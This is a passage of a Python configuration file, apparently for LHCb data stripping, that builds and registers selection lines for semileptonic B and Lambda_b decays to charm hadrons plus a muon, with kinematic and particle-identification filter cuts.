'SelDs2KsDDPifor' + name,\n Algorithm = self._Ds2KsHFilter(['[D+ -> KS0 pi+]cc'],'Ds2KsDDPifor' + name),\n RequiredSelections = [self.selPion, self.selKSDD])\n\n ################## D+/Ds+ -> H mu mu SELECTIONS ########################\n\n self.selds2pimumu = Selection( 'SelDs2PiMuMufor' + name,\n Algorithm = self._Ds2HMuMuFilter([ '[D+ -> pi+ mu+ mu-]cc' ],'Ds2PiMuMufor' + name),\n RequiredSelections = [self.selPion,self.selmuon] )\n \n self.selds2kmumu = Selection( 'SelDs2KMuMufor' + name,\n Algorithm = self._Ds2HMuMuFilter([ '[D+ -> K+ mu+ mu-]cc' ],'Ds2KMuMufor' + name),\n RequiredSelections = [self.selKaon,self.selmuon] )\n\n #################### Lambda_c+ -> X SELECTIONS #########################\n\n self.selLc2L0Pi_DD = Selection( 'SelLc2LambdaDDPifor' + name,\n Algorithm = self._Lc2L0HFilter([ '[Lambda_c+ -> Lambda0 pi+]cc' ],'Lc2LambdaDDPifor' + name),\n RequiredSelections = [self.selPionTight, self.selLambdaDD])\n \n self.selLc2L0Pi_LL = Selection( 'SelLc2LambdaLLPifor' + name,\n Algorithm = self._Lc2L0HFilter([ '[Lambda_c+ -> Lambda0 pi+]cc' ],'Lc2LambdaLLPifor' + name),\n RequiredSelections = [self.selPionTight, self.selLambdaLL])\n \n self.selLc2L0K_DD = Selection( 'SelLc2LambdaDDKfor' + name,\n Algorithm = self._Lc2L0HFilter([ '[Lambda_c+ -> Lambda0 K+]cc' ],'Lc2LambdaDDKfor' + name),\n RequiredSelections = [self.selKaon, self.selLambdaDD])\n \n self.selLc2L0K_LL = Selection( 'SelLc2LambdaLLKfor' + name,\n Algorithm = self._Lc2L0HFilter([ '[Lambda_c+ -> Lambda0 K+]cc' ],'Lc2LambdaLLKfor' + name),\n RequiredSelections = [self.selKaon, self.selLambdaLL])\n\n self.selLc2pKK = Selection( 'SelLc2pKKfor' + name,\n Algorithm = self._Lc2pHHFilter([ '[Lambda_c+ -> p+ K- K+]cc' ],'Lc2pKKfor' + name),\n RequiredSelections = [self.selKaon, StdLooseProtons])\n\n self.selLc2pPiPi = Selection( 'SelLc2pPiPifor' + name,\n Algorithm = self._Lc2pHHFilter([ '[Lambda_c+ -> p+ pi- pi+]cc' ],'Lc2pPiPifor' + name),\n RequiredSelections = [self.selPionTight, StdLooseProtons])## tighter pion PID needed here to reduce retention\n \n self.sellambdac = Selection( 'SelLc2PKPifor' + name,\n Algorithm = self._Lc2pHHFilter([ '[Lambda_c+ -> K- p+ pi+]cc' ],'Lc2PKPifor' + name),\n RequiredSelections = [self.selKaon, self.selPion, StdLooseProtons ] )\n \n self.sellambdacDCS = Selection( 'SelLc2PKPiDCSfor' + name,\n Algorithm = self._Lc2pHHFilter([ '[Lambda_c+ -> K+ p+ pi-]cc' ],'Lc2PKPiDCSfor' + name),\n RequiredSelections = [self.selKaon, self.selPion, StdLooseProtons ] )\n\n\n #################### MAKE THE \"B\" CANDIDATES ##############################\n \n ####### D0 -> hhhh\n ### For stripping 17b, there was a muon Hlt2 TOS requirement on these lines\n MuSel = self.selmuon \n BCuts = {'BVCHI2DOF': config['BVCHI2DOF'],\n 'BDIRA': config['BDIRA'],\n 'DZ': config['DZ']}\n \n DecayDescriptors = [ '[B- -> D0 mu-]cc', '[B+ -> D0 mu+]cc' ]\n self.selb2D0MuXK3Pi = makeb2DMuX('b2D0MuXK3Pi' + name,DecayDescriptors,MuSel,self.sel_D0_to_K3Pi ,BCuts)\n self.selb2D0MuX4Pi = makeb2DMuX('b2D0MuX4Pi' + name,DecayDescriptors,MuSel,self.sel_D0_to_4Pi,BCuts)\n self.selb2D0MuX2K2Pi = makeb2DMuX('b2D0MuX2K2Pi' + name,DecayDescriptors,MuSel,self.sel_D0_to_2K2Pi,BCuts)\n self.selb2D0MuX3KPi = makeb2DMuX('b2D0MuX3KPi' + name,DecayDescriptors,MuSel,self.sel_D0_to_3KPi,BCuts) \n\n DecayDescriptors = [ '[B0 -> D*(2010)+ mu-]cc', '[B0 -> D*(2010)+ mu+]cc' ]\n self.selb2DstarMuXK3Pi = makeb2DMuX('b2DstarMuXK3Pi' + name,DecayDescriptors,MuSel,self.selDstar_to_K3Pi ,BCuts)\n self.selb2DstarMuX4Pi = makeb2DMuX('b2DstarMuX4Pi' + name,DecayDescriptors,MuSel,self.selDstar_to_4Pi,BCuts)\n self.selb2DstarMuX2K2Pi = makeb2DMuX('b2DstarMuX2K2Pi' + name,DecayDescriptors,MuSel,self.selDstar_to_2K2Pi,BCuts)\n self.selb2DstarMuX3KPi = makeb2DMuX('b2DstarMuX3KPi' + name,DecayDescriptors,MuSel,self.selDstar_to_3KPi,BCuts) \n\n ############### B+ -> MU X D0 -> Ks HH #########################\n MuSel = self.selmuon\n DecayDescriptors = [ '[B- -> D0 mu-]cc', '[B+ -> D0 mu+]cc' ]\n BCuts = {'BVCHI2DOF': config['BVCHI2DOF'],\n 'BDIRA': config['BDIRA'],\n 'DZ': config['DZ']}\n\n \n self.selb2D0MuXKsPiPiLL = makeb2DMuX('b2D0MuXKsPiPiLL' + name,DecayDescriptors,MuSel,self.seld02KsPiPiLL,BCuts)\n self.selb2D0MuXKsPiPiDD = makeb2DMuX('b2D0MuXKsPiPiDD' + name,DecayDescriptors,MuSel,self.seld02KsPiPiDD,BCuts)\n self.selb2D0MuXKsKKLL = makeb2DMuX('b2D0MuXKsKKLL' + name,DecayDescriptors,MuSel,self.seld02KsKKLL,BCuts)\n self.selb2D0MuXKsKKDD = makeb2DMuX('b2D0MuXKsKKDD' + name,DecayDescriptors,MuSel,self.seld02KsKKDD,BCuts)\n self.selb2D0MuXKsKPiLL = makeb2DMuX('b2D0MuXKsKPiLL' + name,DecayDescriptors,MuSel,self.seld02KsKPiLL,BCuts)\n self.selb2D0MuXKsKPiDD = makeb2DMuX('b2D0MuXKsKPiDD' + name,DecayDescriptors,MuSel,self.seld02KsKPiDD,BCuts)\n\n #### Dstar\n DecayDescriptors = [ '[B0 -> D*(2010)+ mu-]cc', '[B0 -> D*(2010)+ mu+]cc' ]\n \n self.selb2DstarMuXKsPiPiLL = makeb2DMuX('b2DstarMuXKsPiPiLL'+name,DecayDescriptors,MuSel,self.selDstar_2KsPiPiLL,BCuts)\n self.selb2DstarMuXKsPiPiDD = makeb2DMuX('b2DstarMuXKsPiPiDD'+name,DecayDescriptors,MuSel,self.selDstar_2KsPiPiDD,BCuts)\n self.selb2DstarMuXKsKKLL = makeb2DMuX('b2DstarMuXKsKKLL'+name,DecayDescriptors,MuSel,self.selDstar_2KsKKLL,BCuts)\n self.selb2DstarMuXKsKKDD = makeb2DMuX('b2DstarMuXKsKKDD'+name,DecayDescriptors,MuSel,self.selDstar_2KsKKDD,BCuts)\n self.selb2DstarMuXKsKPiLL = makeb2DMuX('b2DstarMuXKsKPiLL'+name,DecayDescriptors,MuSel,self.selDstar_2KsKPiLL,BCuts)\n self.selb2DstarMuXKsKPiDD = makeb2DMuX('b2DstarMuXKsKPiDD'+name,DecayDescriptors,MuSel,self.selDstar_2KsKPiDD,BCuts)\n\n\n ############# B+ -> MU X D0 -> Ks Ks #####################\n MuSel = self.selmuon\n DecayDescriptors = [ '[B- -> D0 mu-]cc', '[B+ -> D0 mu+]cc' ]\n BCuts = {'BVCHI2DOF': 9999.,\n 'BDIRA': -999, ## switch off the DIRA cut for KsKs\n 'DZ': config['DZ']}\n self.selb2D0MuXKsKs_DDLL = makeb2DMuX('b2D0MuXKsKs_DDLL' + name,DecayDescriptors,MuSel,self.sel_D0_to_KsKs_DDLL,BCuts)\n self.selb2D0MuXKsKs_DDDD = makeb2DMuX('b2D0MuXKsKs_DDDD' + name,DecayDescriptors,MuSel,self.sel_D0_to_KsKs_DDDD,BCuts)\n self.selb2D0MuXKsKs_LLLL = makeb2DMuX('b2D0MuXKsKs_LLLL' + name,DecayDescriptors,MuSel,self.sel_D0_to_KsKs_LLLL,BCuts)\n\n ## Dstar\n DecayDescriptors = [ '[B0 -> D*(2010)+ mu-]cc', '[B0 -> D*(2010)+ mu+]cc' ]\n self.selb2DstarMuXKsKs_DDLL = makeb2DMuX('b2DstarMuXKsKs_DDLL' + name,DecayDescriptors,MuSel,self.sel_Dstar_to_KsKs_DDLL,BCuts)\n self.selb2DstarMuXKsKs_DDDD = makeb2DMuX('b2DstarMuXKsKs_DDDD' + name,DecayDescriptors,MuSel,self.sel_Dstar_to_KsKs_DDDD,BCuts)\n self.selb2DstarMuXKsKs_LLLL = makeb2DMuX('b2DstarMuXKsKs_LLLL' + name,DecayDescriptors,MuSel,self.sel_Dstar_to_KsKs_LLLL,BCuts)\n\n ############### B+ -> MU X D0 -> H H Pi0 #########################\n\n MuSel = self.selmuon\n BCuts = {'BVCHI2DOF': config['BVCHI2DOF'],\n 'BDIRA': config['BDIRA'],\n 'DZ': config['DZ']}\n DecayDescriptors = [ '[B- -> D0 mu-]cc', '[B+ -> D0 mu+]cc' ]\n self.selb2D0MuXKPiPi0Resolved = makeb2DMuX('b2D0MuXKPiPi0Resolved'+name,DecayDescriptors,MuSel,self.seld02KPiPi0Resolved,BCuts)\n self.selb2D0MuXKKPi0Resolved = makeb2DMuX('b2D0MuXKKPi0Resolved'+name,DecayDescriptors,MuSel,self.seld02KKPi0Resolved,BCuts)\n self.selb2D0MuXPiPiPi0Resolved = makeb2DMuX('b2D0MuXPiPiPi0Resolved'+name,DecayDescriptors,MuSel,self.seld02PiPiPi0Resolved,BCuts)\n self.selb2D0MuXKKPi0SSResolved = makeb2DMuX('b2D0MuXKKPi0SSResolved'+name,DecayDescriptors,MuSel,self.seld02KKPi0SSResolved,BCuts)\n self.selb2D0MuXPiPiPi0SSResolved = makeb2DMuX('b2D0MuXPiPiPi0SSResolved'+name,DecayDescriptors,MuSel,self.seld02PiPiPi0SSResolved,BCuts)\n self.selb2D0MuXKPiPi0Merged = makeb2DMuX('b2D0MuXKPiPi0Merged'+name,DecayDescriptors,MuSel,self.seld02KPiPi0Merged,BCuts)\n self.selb2D0MuXKKPi0Merged = makeb2DMuX('b2D0MuXKKPi0Merged'+name,DecayDescriptors,MuSel,self.seld02KKPi0Merged,BCuts)\n self.selb2D0MuXPiPiPi0Merged = makeb2DMuX('b2D0MuXPiPiPi0Merged'+name,DecayDescriptors,MuSel,self.seld02PiPiPi0Merged,BCuts)\n \n ## Dstar ###\n DecayDescriptors = [ '[B0 -> D*(2010)+ mu-]cc', '[B0 -> D*(2010)+ mu+]cc' ]\n self.selb2DstarMuXKPiPi0Resolved = makeb2DMuX('b2DstarMuXKPiPi0Resolved'+name,DecayDescriptors,MuSel,self.selDstar_2KPiPi0Resolved,BCuts)\n self.selb2DstarMuXKKPi0Resolved = makeb2DMuX('b2DstarMuXKKPi0Resolved'+name,DecayDescriptors,MuSel,self.selDstar_2KKPi0Resolved,BCuts)\n self.selb2DstarMuXPiPiPi0Resolved = makeb2DMuX('b2DstarMuXPiPiPi0Resolved'+name,DecayDescriptors,MuSel,self.selDstar_2PiPiPi0Resolved,BCuts)\n self.selb2DstarMuXKKPi0SSResolved = makeb2DMuX('b2DstarMuXKKPi0SSResolved'+name,DecayDescriptors,MuSel,self.selDstar_2KKPi0SSResolved,BCuts)\n self.selb2DstarMuXPiPiPi0SSResolved = makeb2DMuX('b2DstarMuXPiPiPi0SSResolved'+name,DecayDescriptors,MuSel,self.selDstar_2PiPiPi0SSResolved,BCuts)\n self.selb2DstarMuXKPiPi0Merged = makeb2DMuX('b2DstarMuXKPiPi0Merged'+name,DecayDescriptors,MuSel,self.selDstar_2KPiPi0Merged,BCuts)\n self.selb2DstarMuXKKPi0Merged = makeb2DMuX('b2DstarMuXKKPi0Merged'+name,DecayDescriptors,MuSel,self.selDstar_2KKPi0Merged,BCuts)\n self.selb2DstarMuXPiPiPi0Merged = makeb2DMuX('b2DstarMuXPiPiPi0Merged'+name,DecayDescriptors,MuSel,self.selDstar_2PiPiPi0Merged,BCuts)\n \n ############### B0 -> MU X D+ -> Ks H #########################\n\n MuSel = self.selmuon\n BCuts = {'BVCHI2DOF': config['BVCHI2DOF'],\n 'BDIRA': config['BDIRA'],\n 'DZ': config['DZ']}\n DecayDescriptors = [ '[B0 -> D+ mu-]cc', '[B0 -> D+ mu+]cc' ]\n \n self.selb2DsMuXKsLLK = makeb2DMuX('b2DsMuXKsLLK'+name,DecayDescriptors,MuSel,self.selds2KsLLK,BCuts)\n self.selb2DsMuXKsDDK = makeb2DMuX('b2DsMuXKsDDK'+name,DecayDescriptors,MuSel,self.selds2KsDDK,BCuts)\n self.selb2DsMuXKsLLPi = makeb2DMuX('b2DsMuXKsLLPi'+name,DecayDescriptors,MuSel,self.selds2KsLLPi,BCuts)\n self.selb2DsMuXKsDDPi = makeb2DMuX('b2DsMuXKsDDPi'+name,DecayDescriptors,MuSel,self.selds2KsDDPi,BCuts)\n\n ############### B0 -> MU X (D+ -> H mu mu) #########################\n\n MuSel = self.selmuon\n BCuts = {'BVCHI2DOF': config['BVCHI2DOF'],\n 'BDIRA': config['BDIRA'],\n 'DZ': config['DZ']}\n DecayDescriptors = [ '[B0 -> D+ mu-]cc', '[B0 -> D+ mu+]cc' ]\n \n self.selb2DsMuXPiMuMu = makeb2DMuX('b2DsMuXPiMuMu'+name,DecayDescriptors,MuSel,self.selds2pimumu,BCuts)\n self.selb2DsMuXKMuMu = makeb2DMuX('b2DsMuXKMuMu'+name,DecayDescriptors,MuSel,self.selds2kmumu,BCuts)\n\n ############## Lambda_b0 -> MU X Lambda_c -> X ############################\n\n MuSel = self.selmuon\n BCuts = {'BVCHI2DOF': config['BVCHI2DOF'],\n 'BDIRA': config['BDIRA'],\n 'DZ': config['DZ']}\n DecayDescriptors = [ '[Lambda_b0 -> Lambda_c+ mu-]cc', '[Lambda_b0 -> Lambda_c+ mu+]cc']\n\n \n\n self.selb2Lc2L0DDPiMuX = makeb2DMuX('b2Lc2L0DDPiMuX' + name,DecayDescriptors,MuSel,self.selLc2L0Pi_DD,BCuts)\n self.selb2Lc2L0LLPiMuX = makeb2DMuX('b2Lc2L0LLPiMuX' + name,DecayDescriptors,MuSel,self.selLc2L0Pi_LL,BCuts)\n self.selb2Lc2L0DDKMuX = makeb2DMuX('b2Lc2L0DDKMuX' + name,DecayDescriptors,MuSel,self.selLc2L0K_DD,BCuts)\n self.selb2Lc2L0LLKMuX = makeb2DMuX('b2Lc2L0LLKMuX' + name,DecayDescriptors,MuSel,self.selLc2L0K_LL,BCuts)\n\n ####### Lambda_c -> p K pi\n MuSel = self.selmuonnew\n DecayDescriptors = [ '[Lambda_b0 -> Lambda_c+ mu-]cc', '[Lambda_b0 -> Lambda_c+ mu+]cc']\n BCuts = {'BVCHI2DOF': config['BVCHI2DOF'],\n 'BDIRA': config['BDIRA'],\n 'DZ': config['DZ']}\n \n self.selb2LcMuX = makeb2DMuX('b2LcMuX' + name,DecayDescriptors,MuSel, self.sellambdac ,BCuts)\n self.selb2LcDCSMuX = makeb2DMuX('b2LcDCSMuX' + name, DecayDescriptors,MuSel,self.sellambdacDCS,BCuts)\n self.selb2Lc2pPiPiMuX = makeb2DMuX('b2Lc2pPiPiMuX' + name, DecayDescriptors,MuSel,self.selLc2pPiPi,BCuts)\n self.selb2Lc2pKKMuX = makeb2DMuX('b2Lc2pKKMuX' + name, DecayDescriptors,MuSel,self.selLc2pKK,BCuts)\n\n \n ################# DECLARE THE STRIPPING LINES #################################\n\n GECs = { \"Code\":\"( recSummaryTrack(LHCb.RecSummary.nLongTracks, TrLONG) < %(GEC_nLongTrk)s )\" % config,\n \"Preambulo\": [\"from LoKiTracks.decorators import *\"]}\n \n self.registerLine( StrippingLine('b2D0MuXKsKs_DDDD' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2D0MuXKsKs_DDDD))\n self.registerLine( StrippingLine('b2D0MuXKsKs_LLLL' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2D0MuXKsKs_LLLL))\n self.registerLine( StrippingLine('b2D0MuXKsKs_DDLL' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2D0MuXKsKs_DDLL))\n ### D*+ versions\n self.registerLine( StrippingLine('b2DstarMuXKsKs_DDDD' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DstarMuXKsKs_DDDD))\n self.registerLine( StrippingLine('b2DstarMuXKsKs_LLLL' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DstarMuXKsKs_LLLL))\n self.registerLine( StrippingLine('b2DstarMuXKsKs_DDLL' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DstarMuXKsKs_DDLL))\n\n ########### D0 -> HHHHH\n self.registerLine( StrippingLine('b2D0MuXK3Pi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2D0MuXK3Pi) )\n self.registerLine( StrippingLine('b2D0MuX4Pi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2D0MuX4Pi) )\n self.registerLine( StrippingLine('b2D0MuX2K2Pi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2D0MuX2K2Pi) )\n self.registerLine( StrippingLine('b2D0MuX3KPi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2D0MuX3KPi) )\n ## D*+ versions\n self.registerLine( StrippingLine('b2DstarMuXK3Pi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DstarMuXK3Pi) )\n self.registerLine( StrippingLine('b2DstarMuX4Pi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DstarMuX4Pi) )\n self.registerLine( StrippingLine('b2DstarMuX2K2Pi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DstarMuX2K2Pi) )\n self.registerLine( StrippingLine('b2DstarMuX3KPi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DstarMuX3KPi) )\n \n ########### D0 -> Ks HH \n self.registerLine( StrippingLine('b2DstarMuXKsPiPiLL'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKsPiPiLL) ) \n self.registerLine( StrippingLine('b2DstarMuXKsPiPiDD'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKsPiPiDD) )\n self.registerLine( StrippingLine('b2DstarMuXKsKPiLL'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKsKPiLL) )\n self.registerLine( StrippingLine('b2DstarMuXKsKPiDD'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKsKPiDD) )\n self.registerLine( StrippingLine('b2DstarMuXKsKKLL'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKsKKLL) )\n self.registerLine( StrippingLine('b2DstarMuXKsKKDD'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKsKKDD) )\n ## D*+ versions\n self.registerLine( StrippingLine('b2D0MuXKsPiPiLL'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKsPiPiLL) )\n self.registerLine( StrippingLine('b2D0MuXKsPiPiDD'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKsPiPiDD) )\n self.registerLine( StrippingLine('b2D0MuXKsKKLL'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKsKKLL) )\n self.registerLine( StrippingLine('b2D0MuXKsKKDD'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKsKKDD) )\n self.registerLine( StrippingLine('b2D0MuXKsKPiLL'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKsKPiLL) )\n self.registerLine( StrippingLine('b2D0MuXKsKPiDD'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKsKPiDD) )\n \n ########### D0 -> HHPi0 \n self.registerLine( StrippingLine('b2D0MuXKPiPi0Resolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKPiPi0Resolved) )\n self.registerLine( StrippingLine('b2D0MuXKKPi0Resolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKKPi0Resolved) )\n self.registerLine( StrippingLine('b2D0MuXPiPiPi0Resolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXPiPiPi0Resolved) )\n self.registerLine( StrippingLine('b2D0MuXKKPi0SSResolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKKPi0SSResolved) )\n self.registerLine( StrippingLine('b2D0MuXPiPiPi0SSResolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXPiPiPi0SSResolved) )\n self.registerLine( StrippingLine('b2D0MuXKPiPi0Merged'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKPiPi0Merged) )\n self.registerLine( StrippingLine('b2D0MuXKKPi0Merged'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXKKPi0Merged) )\n self.registerLine( StrippingLine('b2D0MuXPiPiPi0Merged'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2D0MuXPiPiPi0Merged) )\n ## D*+ versions\n self.registerLine( StrippingLine('b2DstarMuXKPiPi0Resolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKPiPi0Resolved) )\n self.registerLine( StrippingLine('b2DstarMuXKKPi0Resolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKKPi0Resolved) )\n self.registerLine( StrippingLine('b2DstarMuXPiPiPi0Resolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXPiPiPi0Resolved) )\n self.registerLine( StrippingLine('b2DstarMuXKKPi0SSResolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKKPi0SSResolved) )\n self.registerLine( StrippingLine('b2DstarMuXPiPiPi0SSResolved'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXPiPiPi0SSResolved) )\n self.registerLine( StrippingLine('b2DstarMuXKPiPi0Merged'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKPiPi0Merged) )\n self.registerLine( StrippingLine('b2DstarMuXKKPi0Merged'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXKKPi0Merged) )\n self.registerLine( StrippingLine('b2DstarMuXPiPiPi0Merged'+name+'Line',prescale = 1,FILTER=GECs,selection = self.selb2DstarMuXPiPiPi0Merged) )\n \n ########### D+ -> KsH\n self.registerLine( StrippingLine('b2DsMuXKsLLK' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DsMuXKsLLK) )\n self.registerLine( StrippingLine('b2DsMuXKsDDK' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DsMuXKsDDK) )\n self.registerLine( StrippingLine('b2DsMuXKsLLPi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DsMuXKsLLPi) )\n self.registerLine( StrippingLine('b2DsMuXKsDDPi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DsMuXKsDDPi) )\n\n ########## D+ -> H mu mu\n self.registerLine( StrippingLine('b2DsMuXPiMuMu' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DsMuXPiMuMu) )\n self.registerLine( StrippingLine('b2DsMuXKMuMu' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2DsMuXKMuMu) )\n \n ########## Lambda_c+ -> Lambda H\n self.registerLine( StrippingLine('b2MuXLc2L0LLPi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2Lc2L0LLPiMuX) )\n self.registerLine( StrippingLine('b2MuXLc2L0DDPi' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2Lc2L0DDPiMuX) )\n self.registerLine( StrippingLine('b2MuXLc2L0LLK' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2Lc2L0LLKMuX) )\n self.registerLine( StrippingLine('b2MuXLc2L0DDK' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2Lc2L0DDKMuX) )\n\n ########## Lambda_c+ -> p HH \n self.registerLine( StrippingLine('b2LcMuX' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2LcMuX) )\n self.registerLine( StrippingLine('b2LcDCSMuX' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2LcDCSMuX) )\n self.registerLine( StrippingLine('b2Lc2pPiPiMuX' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2Lc2pPiPiMuX) ) \n self.registerLine( StrippingLine('b2Lc2pKKMuX' + name + 'Line', prescale = 1, FILTER=GECs,selection = self.selb2Lc2pKKMuX) )\n \n\n \n def _muonFilter( self , _name):\n _code = \"(PT > %(MuonPT)s *MeV) & (P> 3.0*GeV)\"\\\n \"& (TRCHI2DOF< %(TRCHI2Loose)s) & (MIPCHI2DV(PRIMARY)> %(MuonIPCHI2)s)\"\\\n \"& (PIDmu > %(PIDmu)s)\" % self.__confdict__\n _mu = FilterDesktop( name = _name, Code = _code )\n return _mu \n\n def _pionFilter( self , _name):\n _code = \" (TRCHI2DOF < %(TRCHI2)s) & (P>2.0*GeV) & (PT > %(KPiPT)s *MeV)\"\\\n \"& (MIPCHI2DV(PRIMARY)> %(MINIPCHI2)s) & (PIDK< %(PionPIDK)s)\" % self.__confdict__\n _pi = FilterDesktop( name = _name, Code = _code )\n return _pi\n\n def _kaonFilter( self , _name ):\n _code = \" (TRCHI2DOF < %(TRCHI2)s) & (P>2.0*GeV) & (PT > %(KPiPT)s *MeV)\"\\\n \"& (MIPCHI2DV(PRIMARY)> %(MINIPCHI2)s) & (PIDK> %(KaonPIDK)s)\" % self.__confdict__\n _ka = FilterDesktop( name = _name, Code = _code )\n return _ka \n \n def _kaonlooseFilter( self, _name ):\n _code = \" (TRCHI2DOF < %(TRCHI2)s) & (P>2.0*GeV) & (PT > %(KPiPT)s *MeV)\"\\\n \"& (MIPCHI2DV(PRIMARY)> %(MINIPCHI2Loose)s) & (PIDK> %(KaonPIDKloose)s)\" % self.__confdict__\n _kal = FilterDesktop( name = _name, Code = _code )\n return _kal \n \n def _pionlooseFilter( self , _name):\n _code = \" (TRCHI2DOF < %(TRCHI2)s) & (P>2.0*GeV) & (PT > %(KPiPT)s *MeV)\"\\\n \"& (MIPCHI2DV(PRIMARY)> %(MINIPCHI2Loose)s)\" % self.__confdict__\n _pil = FilterDesktop( name = _name, Code = _code )\n return _pil\n \n \n def _Pi0ResolvedFilter( self, _name):\n _code = \"(PT> %(Pi0PtMin)s *MeV) & (P> %(Pi0PMin)s *MeV)\"\\\n \"& (CHILD(CL,1)> %(PhotonCL)s) & (CHILD(CL,2)> %(PhotonCL)s)\" % self.__confdict__\n _pil = FilterDesktop( name = _name, Code = _code )\n return _pil\n\n def _Pi0MergedFilter( self, _name):\n _code = \"(PT> %(Pi0PtMin)s *MeV) & (P> %(Pi0PMin)s *MeV)\" % self.__confdict__\n _pil = FilterDesktop( name = _name, Code = _code )\n return _pil\n\n def _KsDDFilter( self, _name):\n _code = \" (P> %(KSDDPMin)s *MeV) & (PT> %(KSDDPTMin)s *MeV)\" \\\n \" & (ADMASS('KS0') < %(KSDDCutMass)s *MeV) & (BPVVDCHI2> %(KSDDCutFDChi2)s)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(KSDaugTrackChi2)s),1)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(KSDaugTrackChi2)s),2)\" \\\n \" & (VFASPF(VCHI2PDOF) < %(KSVertexChi2)s)\" \\\n \" & (BPVDIRA > %(KSCutDIRA)s )\" % self.__confdict__\n _pil = FilterDesktop( name = _name, Code = _code)\n return _pil\n\n def _KsLLFilter( self, _name):\n _code = \" (P> %(KSLLPMin)s *MeV) & (PT> %(KSLLPTMin)s *MeV)\" \\\n \" & (ADMASS('KS0') < %(KSLLCutMass)s *MeV) & (BPVVDCHI2> %(KSLLCutFDChi2)s)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(KSDaugTrackChi2)s),1)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(KSDaugTrackChi2)s),2)\" \\\n \" & (VFASPF(VCHI2PDOF) < %(KSVertexChi2)s)\" \\\n \" & (BPVDIRA > %(KSCutDIRA)s )\" % self.__confdict__\n _pil = FilterDesktop( name = _name, Code = _code)\n return _pil\n \n def _LambdaLLFilter( self, _name):\n _code = \" (P> %(LambdaLLPMin)s *MeV) & (PT> %(LambdaLLPTMin)s *MeV)\" \\\n \" & (ADMASS('Lambda0') < %(LambdaLLCutMass)s *MeV) & (BPVVDCHI2> %(LambdaLLCutFDChi2)s)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(LambdaDaugTrackChi2)s),1)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(LambdaDaugTrackChi2)s),2)\" \\\n \" & (VFASPF(VCHI2PDOF) < %(LambdaVertexChi2)s)\" \\\n \" & (BPVDIRA > %(LambdaCutDIRA)s )\" % self.__confdict__\n _pil = FilterDesktop( name = _name, Code = _code)\n return _pil\n\n def _LambdaDDFilter( self , _name):\n _code = \" (P> %(LambdaDDPMin)s *MeV) & (PT> %(LambdaDDPTMin)s *MeV)\" \\\n \" & (ADMASS('Lambda0') < %(LambdaDDCutMass)s *MeV) & (BPVVDCHI2> %(LambdaDDCutFDChi2)s)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(LambdaDaugTrackChi2)s),1)\" \\\n \" & CHILDCUT((TRCHI2DOF < %(LambdaDaugTrackChi2)s),2)\" \\\n \" & (VFASPF(VCHI2PDOF) < %(LambdaVertexChi2)s)\" \\\n \" & (BPVDIRA > %(LambdaCutDIRA)s )\" % self.__confdict__\n _pil = FilterDesktop( name = _name, Code = _code)\n return 